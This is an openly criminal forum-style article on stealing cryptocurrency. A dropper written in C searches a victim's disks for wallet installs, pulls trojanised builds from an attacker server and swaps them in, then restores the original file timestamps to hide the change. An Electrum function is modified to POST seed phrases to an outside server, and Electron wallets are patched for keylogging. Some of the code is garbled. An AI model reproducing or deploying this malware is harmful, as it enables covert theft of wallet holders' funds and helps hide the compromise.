We have all heard the famous saying of the “great combinator”:
Quote
There are at least 400 relatively honest ways to take money from the population.
Quote
Money is created to belong to us. Even if it’s someone else’s.
Let’s take advantage of his philosophy and try to apply it in practice – come up with new non-standard ways of extracting private keys from wallets.
What’s the (relatively) easiest way to get money? Get someone else’s seed from one of the top cryptocurrencies.
We all know those hackneyed ways to get other people’s private keys and seed phrases, such as clipjacking, stealing wallets.dat files (Bitcoin Core), electrum_data folder (for Electrum-based wallets), keylogging of seed phrase typed words, windows hooking, etc.
And immediately contradictions – wallet files are protected by passwords, which are seldom unloaded in profits.
Keylogging is subtle, sticks out with many proactives, and not the fact that it will catch something working on the time segment, it is difficult in the resident.
Wallet substitution in the exchange buffer is quite a child’s entertainment and disposable, because it will be noticed, it is difficult in the resident.
I want something more cunning and stealthy.
Of course, I agree that there is no one-size-fits-all solution and that the existing ways work to some extent (and under the right circumstances) sometimes not badly.
But what if I told you that there are prettier and more winning solutions to seed phrase and private keyring diversion?
There are quite a few attack vectors and their combinations. Today we will look at some of them and try to implement them in poc.
Those who are more observant will see that the code was written to be base-independent (shellcode), running from the memory of the trusted process, as it was originally intended 🙂
I will show parts of the code, from my solution, that describe the essence of the technique.
For the convenience and beauty of the solution, let us set for ourselves the following framework:
– Maximum clean rantime by mimicking normal software without much straying action.
– Hidden operation in the system without attracting unnecessary attention
– Small size of the dropper
– No need for persistence
– Secure network access for sending final logs
At the end of the article, we’ll combine a set of manipulations, the common denominator of which will be (about) a universal solution for intercepting passphrases (seed) and private keys from the major Windows desktop cryptocurrency wallets described in the article (although projected to other desktop OSes if approached properly).
Pool of wallets to work with:
1. Electrum-based wallets
2. Electron-based wallets
0x1 – Intro.
A big plus for us is the fact that most cryptocurrency wallets are open-source.
As a result, we can make a number of manipulations to change the original logic of their work to our needs.
Moreover, even for those wallets, where the source code is not available, there are also a number of workarounds, about this further.
The logical action for us is to add our own logic at the source code level and build it into the final distribution.
The idea in general is not new, but it’s used mainly as a combination with social engineering in google ad impression, on fake sites for shoving modified wallets for download (for newbies who don’t have any crypto).
Experienced crypto-holders, as a rule, have correct url of cryptocurrency wallets sites in their bookmarks and do not go by google ads in order to download crypto-wallet from left site.
In contrast to hackneyed ways, we will substitute crypto wallets with our modified version locally, so that Holder won’t even suspect the substitution.
Let’s not forget about modifying file creation time, and fix it as in original file.
As a result, given the boundless trust, when you run the wallet on your local computer, even the appearance of the window to confirm the seed phrase (by double-clicking on the same shortcut on the desktop), no longer cause suspicion and we get what we need.
A bonus is automatically added unhindered access to the Internet, as the binary is naturally granted network access rights during the first installation.
Another bonus is the fact that some antiviruses are aggressive on some cryptocurrencies, for example:
Quote
Notes for Windows users
Electrum binaries are often flagged by various anti-virus software. There is nothing we can do about it, so please stop reporting that to us. Anti-virus software uses heuristics in order to determine if a program is malware, and that often results in false positives. If you trust the developers of the project, you can verify the GPG signature of Electrum binaries, and safely ignore any anti-virus warnings. If you do not trust the developers of the project, you should build the binaries yourself, or run the software from source. Finally, if you are really concerned about malware, you should not use an operating system that relies on anti-virus software.
Old versions of Windows might need to install the KB2999226 Windows update.
This means that even if our modification is detected for some reason, it will not affect the success of the attack, since the user will already know that false positives are possible, which will definitely help us.
If you are ready to go further, you can generate your own fake certificate, sign the binary with it and install the certificate in the repository (requires admin rights).
Then we turn on imagination – you can request seed wallet at startup or sending transaction, or rewrite logic to form transaction to send all available crypto to wallet under our control. It all depends on your greed and ingenuity 🙂
The most interesting thing is that the role of dropper in transaction is one-time, and having completed the work, we don’t need the dropper in the system anymore.
How to do it? read on.
0x2 – Code.
The first thing to do is to check if there is a hint of using crypto on the system:
To do this, we collected a pool of folder names from different cryptocurrencies, which by default are created in the appdata folder when they run.
We store hashed versions of the folder names and enumerate all the folders in appdata, comparing them to the ones we want.
If we find one, bingo! Didn’t find it – not our client!
To view this content you need to create at least 25 posts…
Function to hash a string into a hash:
DWORD CalcHashW(PWSTR lpStr)
{
DWORD hash = 0;
PWSTR s = lpStr;
while (*s) {
hash = ((hash <>< 7) & (DWORD)-1) | (hash >(32 – 7));
hash = hash ^ *s;
s++;
}
return hash;
}
Get the full paths to the Appdata\Roaming, Appdata\Local folders
This way of enumeration allows us not to store strings, but only their hashes, to compare them in runtime.
if (SUCCEEDED(pSHGetFolderPathW(NULL, CSIDL_APPDATA, NULL, 0, szAppData_Roaming_Path)) && SUCCEEDED(pSHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, szAppData_Local_Path))
{
_strcpy_w(szAppData_Local_Chrome, szAppData_Local_Path); // (plstrcpyW) Before we add \\*
_strcat_w(szAppData_Roaming_Path, str_searchall); // (plstrcatW) L”\\\*”
_strcat_w(szAppData_Local_Path, str_searchall); // (plstrcatW) L”\\\*”
_strcat_w(szAppData_Local_Chrome, str_searchall); // (plstrcatW) Combine path with L”\\\*”
}
DIR_RULES* pDirs = (DIR_RULES*)pVirtualAlloc(NULL, sizeof(DIR_RULES) * TOTAL_DIRS_NUMBER, MEM_COMMIT, PAGE_READWRITE);
if (pDirs)
{
pDirs->szPath[0] = szAppData_Roaming_Path; // (C:\Users\Username\AppData\Roaming\)
pDirs->szPath[1] = szAppData_Local_Path; // (C:\Users\Username\AppData\Local\)
};
// Then we brute-force all variants of hashed directories for all TOTAL_DIRS_NUMBER (AppData\Roaming, AppData\Local, Google\Default\Extensions)
for (int v = 0; v < TOTAL_DIRS_NUMBER; v++)
{
debug_wprintf(L"[WALELTS_CHECKER] Target directory is %s\n", pDirs->szPath[v];
if (pDirs->szPath[v])
{
hFind = pFindFirstFileW(pDirs->szPath[v], &ffd);
if (INVALID_HANDLE_VALUE == hFind)
{
debug_wprintf(L”[WALELTS_CHECKER] ERROR: INVALID_HANDLE_VALUE. (GetLastError: %d)\n”, GetLastError());
break;
}
} else break;
// Check if we have found a match for the cryptocurrency signatures
do
{
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
for (int n = 0; n < TOTAL_WALLETS_NUMBER; n++)
{
if (CalcHashW(lowcase_w(ffd.cFileName)) == pRules->dwHash[n]) {
debug_wprintf(L”[WALELTS_CHECKER] %s (%s)\n”, ffd.cFileName, pDirs->szPath[v]);
bWalletsFound = TRUE;
}
}
}
} while (pFindNextFileW(hFind, &ffd) !)
pFindClose(hFind);
}
// if NOT found, we have nothing to do on this machine (almost, there are exceptions, e.g. portable versions, more on that later)
if (bWalletsFound == FALSE) {
debug_wprintf(L”[WALLETS_CHECKER] No CryptoWallets was found. Nothing to do here, Exit.{n”);
goto _quit;
}
If we found traces of cryptocurrency wallets in the system, we need to find the full path to the cryptocurrency wallet file(s):
We form a list of the files we are interested in
To view this content you need to create at least 25 posts…
Form a structure for search convenience:
The symbol ? is used as a symbol to iteratively enumerate wallet versions when searching.
To view this content you need to create at least 25 posts…
Let’s check if we’ve filled in the structure for binary search correctly
#ifdef DEBUG
debug_wprintf(L”\r\n[RULES_CHECKER] Rule masks: \r\n =================================== \r\n”);
for (int n = 0; n < TOTAL_DISTRS_NUMBER; n++)
debug_wprintf(L"[%i] %s, ", n, pRules->szSign[n]; < TOTAL_DISTRS_NUMBER; n++)
debug_wprintf(L"[%i] %s, ", n, pRules->
debug_wprintf(L”\r\n =================================== \r\n”);
#endif
The search itself.
Here it should be noted that apart from the standard, rather slow methods through FindFileFirst\Next API, there is an extremely fast way to enumerate all files in the system by parsing the MFT table (provided that disks have the NTFS file system).
This method requires administrator privileges and will not be considered in the context of this article, it is just a kind of homework.
The only thing I can say is that it takes 3-10 seconds to prepare the entire list of files on all disks.
if (user_is_admin)
{
parse_mft_table_for_each_drive();
} else {
// Enumerate logical disks
pGetLogicalDriveStringsA(sizeof(szDisks), (char*)szDisks);
// enumerate all files on all disks
for (int i = 0; i < 32; i++)
{
if (szDisks[i] != 0) {
x_strncpy(str, szDisks[i], _countof(str))
disktype = pGetDriveTypeA(str);
if (diskspe == DRIVE_REMOVABLE || diskspe == DRIVE_FIXED)
{
// Get Drive’s letter like C:
pwsprintfW(str, str_cmask, szDisks[i][0]); // L”%c:”
debug_wprintf( L”[FINDFILES_ENGINE] This machine has the following logical drives: ‘%s’\n”, str);
// Execute FindFileFirst searcher engine
ListDirectoryContents(str_delim, wszAllFilesBuffer, wszTmpBuffer, szFoundWalletsFileNames, dwDistrsNumber, hit, wallet_ids, pRules, pWinApis, str;)
// Set up rules system
for (int n = 0; n < TOTAL_DISTRS_NUMBER; n++)
{
// Check for wallet artefacts
if ( wallet_ids[n] == DEFAULTWALLET_SIGN || wallet_ids[n] == ELECTRUMDATA_SIGN)
{
bIsArtefactsFound = TRUE;
}
// Logic for found distr wallet bins
if ( wallet_ids[n] == BITCOIN_QT || wallet_ids[n] == LITECOIN_QT || wallet_ids[n] == DASH_QT || wallet_ids[n] == BITCOIN_ELECTRUM_PORT || wallet_ids[n]== BITCOIN_ELECTRUM_PORT2 || wallet_ids[n] == BITCOIN_ELECTRUM
|| wallet_ids[n] == BITCOIN_ELECTRUM2 || wallet_ids[n] == LITECOIN_ELECTRUM || wallet_ids[n] == LITECOIN_ELECTRUM_PORT || wallet_ids[n] == DASH_ELECTRUM || wallet_ids[n] == DASH_ELECTRUM2
|| wallet_ids[n] == DASH_ELECTRUM_PORT || wallet_ids[n] == BITCOINCASH_ELECTRUM || wallet_ids[n] == BITCOINCASH_ELECTRUM_PORT || wallet_ids[n] == JAXX_ELECTRON || wallet_ids[n] == EXODUS_ELECTRON || wallet_ids[n] == JAXX_LIBERTY_ELECTRON
|| wallet_ids[n] == ETHEREUM_ELECTRON || wallet_ids[n] == MIST_ELECTRON || wallet_ids[n] == BITPAY_ELECTRON || wallet_ids[n] == COPAY_ELECTRON || wallet_ids[n] == MSIGNA_NATIVE || wallet_ids[n] == GUARDA_ELECTRON
|| wallet_ids[n] == MONERO_NATIVE || wallet_ids[n] == ATOMIC_ELECTRON || wallet_ids[n] == MELIS_ELECTRON || wallet_ids[n] == MYCRYPTO_ELECTRON || wallet_ids[n] == WAVES_ELECTRON
)
{
bIsDistrsFound = TRUE;
if (wallet_ids[n] == JAXX_ELECTRON) bFound_Jaxx = TRUE;
if (wallet_ids[n] == JAXX_LIBERTY_ELECTRON) bFound_JaxxLiberty = TRUE;
if (wallet_ids[n] == EXODUS_ELECTRON) bFound_Exodus = TRUE;
if (wallet_ids[n] == ETHEREUM_ELECTRON) bFound_Ethereum = TRUE;
if (wallet_ids[n] == MIST_ELECTRON) bFound_Mist = TRUE;
if (wallet_ids[n] == BITPAY_ELECTRON) bFound_Bitpay = TRUE;
if (wallet_ids[n] == COPAY_ELECTRON) bFound_Copay = TRUE;
if (wallet_ids[n] == GUARDA_ELECTRON) bFound_Guarda = TRUE;
if (wallet_ids[n] == ATOMIC_ELECTRON) bFound_Atomic = TRUE;
if (wallet_ids[n] == MELIS_ELECTRON) bFound_MelisWallet = TRUE;
if (wallet_ids[n] == MYCRYPTO_ELECTRON) bFound_MyCrypto = TRUE;
if (wallet_ids[n] == WAVES_ELECTRON) bFound_Waves = TRUE;
}
}
}
debug_wprintf( L”\n”);
}
}
}
If nothing is found, make a qubit.
if (bIsDistrsFound == FALSE && bIsSignFound == FALSE && bIsArtefactsFound == FALSE) goto _quit;
If we have successfully found one or more cryptocurrency binaries, we generate names for all downloadable disks as updater_xxxxxxx.tmp
We use an improvised random character generator based on the system’s random number generator.
for (int i = 0; i < dwDistrsNumber; i++)
{
// Allocate mem for each var
szTmpGeneratedNames[i] = (wchar_t*)pVirtualAlloc(NULL, STRING_SIZE + 1, MEM_COMMIT, PAGE_READWRITE);
szTmpDownloadedFileNames[i] = (wchar_t*)pVirtualAlloc(NULL, STRING_SIZE + 32, MEM_COMMIT, PAGE_READWRITE);
// Execute our personal PRNG and generate literal names char by char
for(p = 0; p < STRING_SIZE; p++) {
pQueryPerformanceCounter(&li);
dwRndNum = li.LowPart;
szTmpGeneratedNames[i][p] = (wchar_t)str_0123456789[dwRndNum % (sizeof(str_0123456789)-1)]; // generate integers (0-9)
}
szTmpGeneratedNames[i][p] = ‘\0’;
// Copy to variable generated name of collection working dir
if (i == 0) pwsprintfW(szTempCollectionFolder, str_tmpfolder, szTempPath, szTmpGeneratedNames[i]); // L”%sfla%s.tmp”
// Compile names for downloaded wallet distrs
pwsprintfW(szTmpDownloadedFileNames[i], str_filename, szTempCollectionFolder, szTmpGeneratedNames[i]); // L”%s\\updater_%s.tmp”
//debug_wprintf( L”[STRING_GEN] String[%i]: %s\n”, i, szTmpDownloadedFileNames[i];
// copy to variable generated name of blob collection file
if (i == 0) pwsprintfW(szTempCollectionBlobFile, str_blobname, szTempCollectionFolder, szTmpGeneratedNames[i]); // L”%s\nsm%s.tmp”
// Free array of rnd names
pVirtualFree(szTmpGeneratedNames[i], STRING_SIZE + 1, MEM_RELEASE);
}
// Debug messages with generated names:
debug_wprintf( L”[STRING_GEN] %i random filenames (updater_xxxxxx.tmp) was generated.\n”, dwDistrsNumber);
debug_wprintf( L”[STRING_GEN] Collection folder name: %s.\n”, szTempCollectionFolder);
debug_wprintf( L”[STRING_GEN] Collection blob file name: %s.\n”, szTempCollectionBlobFile);
Create a temporary working folder in the temp
pCreateDirectoryW(szTempCollectionFolder, NULL);
// Get last error
dwError = pGetLastError();
if (dwError != ERROR_SUCCESS)
{
debug_wprintf( L”[CREATE_TMPDIR] ERROR: while creating %s working dir (ERROR: %d). Retry.\n”, szTempCollectionFolder, dwError);
bCreateWorkingDir = FALSE;
} else {
// Working dir created, all ok, goto next func
debug_wprintf( L”[CREATE_TMPDIR] Working directory %s created – Ok.\n”, szTempCollectionFolder);
}
If the temp folder could not be created, the temp dir itself becomes our temporary folder
if (bCreateWorkingDir == FALSE) _strcpy_w(szTempCollectionFolder, szTempPath); // (plstrcpyW)
Form a list of cryptocurrency wallet distributions found in the system (which we need for substitution)
To view this content you need to create at least 25 posts…
Form the structure DOWNLOAD_DATA and fill it according to the received data
As a result, in the structure we have url of modified wallet, tem file name, original file name, size.
DOWNLOAD_DATA** pszDownloads = (DOWNLOAD_DATA**)pVirtualAlloc(NULL, MAX_NUM_OF_DISTRS * sizeof(DOWNLOAD_DATA), MEM_COMMIT, PAGE_READWRITE);
if (pszDownloads)
{
for (int f = 0; f < dwDistrsNumber; f++)
{
(DOWNLOAD_DATA*) pszDownloads[f] = (DOWNLOAD_DATA*)pVirtualAlloc(NULL, 2048 * sizeof(wchar_t), MEM_COMMIT, PAGE_READWRITE);
// Fill struct with proper info
pszDownloads[f]->szUrl = wszUrls[f]; // Get array of urls from Admin panel via POST L “https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe”; //
pszDownloads[f]->szTmpFilename = szTmpDownloadedFileNames[f]; // Generated array of rnd filenames to files to be downloaded like full path to tmp working dir + updater_xxxxxxxx.png
pszDownloads[f]->szOrigFilePathName = szFoundWalletsFileNames[f]; // Array of founded wallets with full paths
pszDownloads[f]->dwFileSize = 0x123456
pszDownloads[f]->bRedownloadable = TRUE; // Ability to redownload file when fail
pszDownloads[f]->bIsDone = FALSE; // Marker to set up when distr wallet will be downloaded
// Debug messages
debug_wprintf( L”[STRUCT_DISTR] Wallet Distr[%i]: %s\n”, f, pszDownloads[f]->szOrigFilePathName);
debug_wprintf( L”[STRUCT_DISTR] Wallet Url[%i]: %s\n”, f, pszDownloads[f]->szUrl);
debug_wprintf( L”[STRUCT_DISTR] Wallet Replace tmp name[%i]: %s\n”, f, pszDownloads[f]->szTmpFilename);
}
}
pVirtualFree(szTmpDownloadedFileNames, MAX_NUM_OF_DISTRS * sizeof(wchar_t*), MEM_RELEASE);
pVirtualFree(szFoundWalletsFileNames, MAX_NUM_OF_DISTRS * sizeof(wchar_t*), MEM_RELEASE);
Load files from the populated structure from the server to the temp dir
if (_do_download(agent, dwDistrsNumber, pszDownloads, pWinApis))
{
debug_wprintf( L”[DOWNLOADER] Downloaded all distr files.\n”);
bDownloadAllTasks = TRUE;
} else {
debug_wprintf( L”[DOWNLOADER] ERROR: Downloading distr error! (LastError: %d)\n”, GetLastError());
}
Obtaining the creation/modification time of the original distros
for (int i = 0; i < dwDistrsNumber; i++)
{
// Read creation\access\modify time for each orig distrs and sotre it in &ftCreate, &ftAccess, &ftWrite
hFile = pCreateFileW(pszDownloads[i]->szOrigFilePathName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile != INVALID_HANDLE_VALUE && pGetFileTime(hFile, &ftCreate, &ftAccess, &ftWrite))
{
debug_wprintf(L”[READ_TIMESTAMP] Timestamp reading/accessing of %s file is OK!\n”, pszDownloads[i]->szOrigFilePathName)
} else {
debug_wprintf(L”[READ_TIMESTAMP] ERROR while reading/accessing file %s to get timestamp (Error: %d)!\n”, pszDownloads[i]->szOrigFilePathName, pGetLastError())
}
pCloseHandle(hFile)
}
Check if any wallet processes are running before swapping, and if there is write access, swap with the modified files downloaded to the temp.
It should be noted here that we apply different logic for different types of wallets.
For example, for electrum-like wallets, we use swapping of the binary file itself.
For Electron-like wallets, we’ll do an app.asar swap, about that below.
We introduced a system of rules, where to replace what and how.
To view this content you need to create at least 50 posts…
Restore previously obtained date of creation of original wallets in new arrivals
for (int i = 0; i < dwDistrsNumber; i++)
{
// Get the handle to the replaced
hFile = pCreateFileW(pszDownloads[i]->szOrigFilePathName, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// Set the filetime on the file
if (pSetFileTime(hFile, &ftCreate, &ftAccess, &ftWrite)) {
debug_wprintf( L”[CREATION_DATE] Creation date for file: %s was restored.\n”, pszDownloads[i]->szOrigFilePathName);
} else {
debug_wprintf( L”[CREATION_DATE] ERROR: Cannot reset creation date for file: %s to original distrs.\n”, pszDownloads[i]->szOrigFilePathName);
}
pCloseHandle(hFile);
}
Clean up the temp folder from our temporary files
for (int i = 0; i < dwDistrsNumber; i++)
{
// Check if file exists and if found
if (pPathFileExistsW(pszDownloads[i]->szTmpFilename))
{
// Delete temp file
if (pDeleteFileW(pszDownloads[i]->szTmpFilename))
{
debug_wprintf( L”[TMPFILES_REMOVER] %s removed.\n”, pszDownloads[i]->szTmpFilename);
} else {
debug_wprintf( L”[TMPFILES_REMOVER] ERROR while removing %s!\n”, pszDownloads[i]->szTmpFilename);
}
}
}
Don’t forget that this is a PoC, the code is only needed to understand the processes taking place, and at a minimum it fulfills this function.
0x3 – Preparation of the environment.
Since the operation is multi-level, for its successful implementation it is necessary to prepare modified versions of wallets (with changes in logic), which will be pulled up by dropper from the server.
Reveal hidden contents
Preparation by the example of Electrum-based wallets looks as follows:
Go to github, download the master branch https://github.com/spesmilo/electrum/
As they say, if you have knowledge of python and direct hands, there is no limit to imagination.
I will not lay out here ready-made solution, so as not to multiply the assortment of “schoolboys”, I will dwell only on a couple of moments:
The source code is divided into a library with functions for interacting with the blockchain and the GUI of the wallet. The GUI is implemented in pyQt.
You can find out the number of coins available by using the get_spendable_coins function in the wallet.py file.
You can go a variety of ways, such as attacking the export_private_key function by passing it a list of addresses (get_receiving_addresses(), get_change_addresses()). Then the private keys can be sent to the server. You need to get the password beforehand (function request_passphrase from file electrum/base_wizard.py) and pass it to the above function.
Or, for example, knowing the final path to the crypto-purse, we can upload the files from electrum_data\wallets\*.* to the server and patch the request_passphrase function from electrum/base_wizard.py to get the password.
Or, for example, delete electrum_data folder when starting the wallet, and in electrum/base_wizard.py file modify function on_restore_seed or confirm_seed, in which when restoring the wallet gets seed phrase in an open form, and we send it to our server – but this is already thick.
Very rough example of function modification, describing the essence of the technique:
def on_restore_seed(self, seed, is_bip39, is_ext):
self.seed_type = ‘bip39’ if is_bip39 else mnemonic.seed_type(seed)
BACKEND_SERVER = “http://ourprivateserver.com/api/handler.php”
data = {‘seed’:seed}
r = requests.post(url = BACKEND_SERVER, data = data)
if self.seed_type == ‘bip39’:
f = lambda passphrase: self.run(‘on_restore_bip39’, seed, passphrase)
self.passphrase_dialog(run_next=f, is_restoring=True) if is_ext else f(”)
elif self.seed_type in [‘standard’, ‘segwit’]:
f = lambda passphrase: self.run(‘create_keystore’, seed, passphrase)
self.passphrase_dialog(run_next=f, is_restoring=True) if is_ext else f(”)
elif self.seed_type == ‘old’:
self.run(‘create_keystore’, seed, ”)
elif mnemonic.is_any_2fa_seed_type(self.seed_type):
self.load_2fa()
self.run(‘on_restore_seed’, seed, is_ext)
else:
raise Exception(‘Unknown seed type’, self.seed_type)
Do not forget to add
import requests
Building electrum-based wallets is fun, you’ll need to get into it. All the better, it raises the entry threshold for this attack.
Building binaries for Win is described here https://github.com/spesmilo/electrum/tree/6650e6bbae12a79e12667857ee039f1b1f30c7e3/contrib/build-wine.
We can cover Bitcoin, Litecoin, Dash and many other bitcoin forks for Electrum-based wallets with such manipulations. (Don’t forget to correct paths, for example for litecoin the folder will be electrum-ltc_data, etc.) Also don’t forget that there are different versions.
HOW TO PROTECT YOURSELF?
– Do not download wallets from illegal sites, thoroughly check the sources of links, hashes, signatures.
0x4 – Electron is such an electron.
We will look at the modification of Electron-based wallets using Guarda Wallet as an example – https://guarda.com/apps/Guarda_Setup-1.0.12-x64.exe
In fact, in this case it is a wrapper over their web application https://guarda.co/app/restore?random=1&redirectUri=/app/.
Okay, let’s install it. By default it will be installed in …\AppData\Local\Programs\Guarda.
We are interested in the resources folder and the app.asar file.
What is app.asar?
Quote
– An ASAR file is an archive used to package source code for an application using Electron, an open source library used to build cross-platform programs. … ASAR files allow developers to package their apps in an archive instead of a folder, which protects the source code of the app from being exposed to other users.
Simply put, it is a packaged application with its own format.
The format cannot be unpacked with a normal archiver, BUT!
You can download 7z and plugin for it (https://www.tc4shell.com/en/7zip/asar/)
The plugin is placed in the Formats directory in the main 7z directory.
Asar.png
Next, unpack app.asar as a normal archive.
Example:
unpacked.png
After that we get the unpacked source code of the application.
We are interested in the main.js file, in this case the entry point into the application.
Look for the line
webPreferences,
add there
‘web-security’: false,
and then after closing the new BrowserWindow object
const { dialog } = require(‘electron’)
const options = {
type: ‘question’,
buttons: [‘no, thanks’],
defaultId: 2,
title: ‘ups. ‘,
message: ‘found”,)
};
dialog.showMessageBox(null, options, (response) => {
console.log(response);
});
Save, close.
Build back to app.asar, swap out the original.
menu.png
arch_type.png
Run Guarda.exe:
We see our patch, so the modification succeeded, everything works.
modded_indexjs.png
All straight – the main window appeared:
modded_main.png
This way we can capture the password and seed phrase or restore file with the backup phrase, (hint: https://github.com/WilixLead/iohook
const ioHook = require(‘iohook’);
ioHook.on(‘keyup’, event => {
console.log(event); // {keychar: ‘f’, keycode: 19, rawcode: 15, type: ‘keup’}
});
ioHook.start(;)
)
You can do almost anything 🙂
main_seed.png
As a result, in order to carry out a successful attack, we only need to replace the app.asar itself with a modified one from the server.
There are different app.asar files, some are encrypted, but this is not a panacea. There are always options. Be flexible :).
HOW TO PROTECT YOURSELF?
– (For Electron application authors) Forcibly check the hash of the app.asar file when starting the application.
0x5 – Outro.
In this article, we looked at several non-trivial author’s ways to steal other people’s crypto by modifying cryptocurrencies and spoofing them.
There are also a bunch of different ways to complement the attack by charging it to additional vectors, such as browser extensions, password storages, hardwar wallets, but that’s for another time :).
Thank you all for reading this, I hope it was fun and informative 😉7)>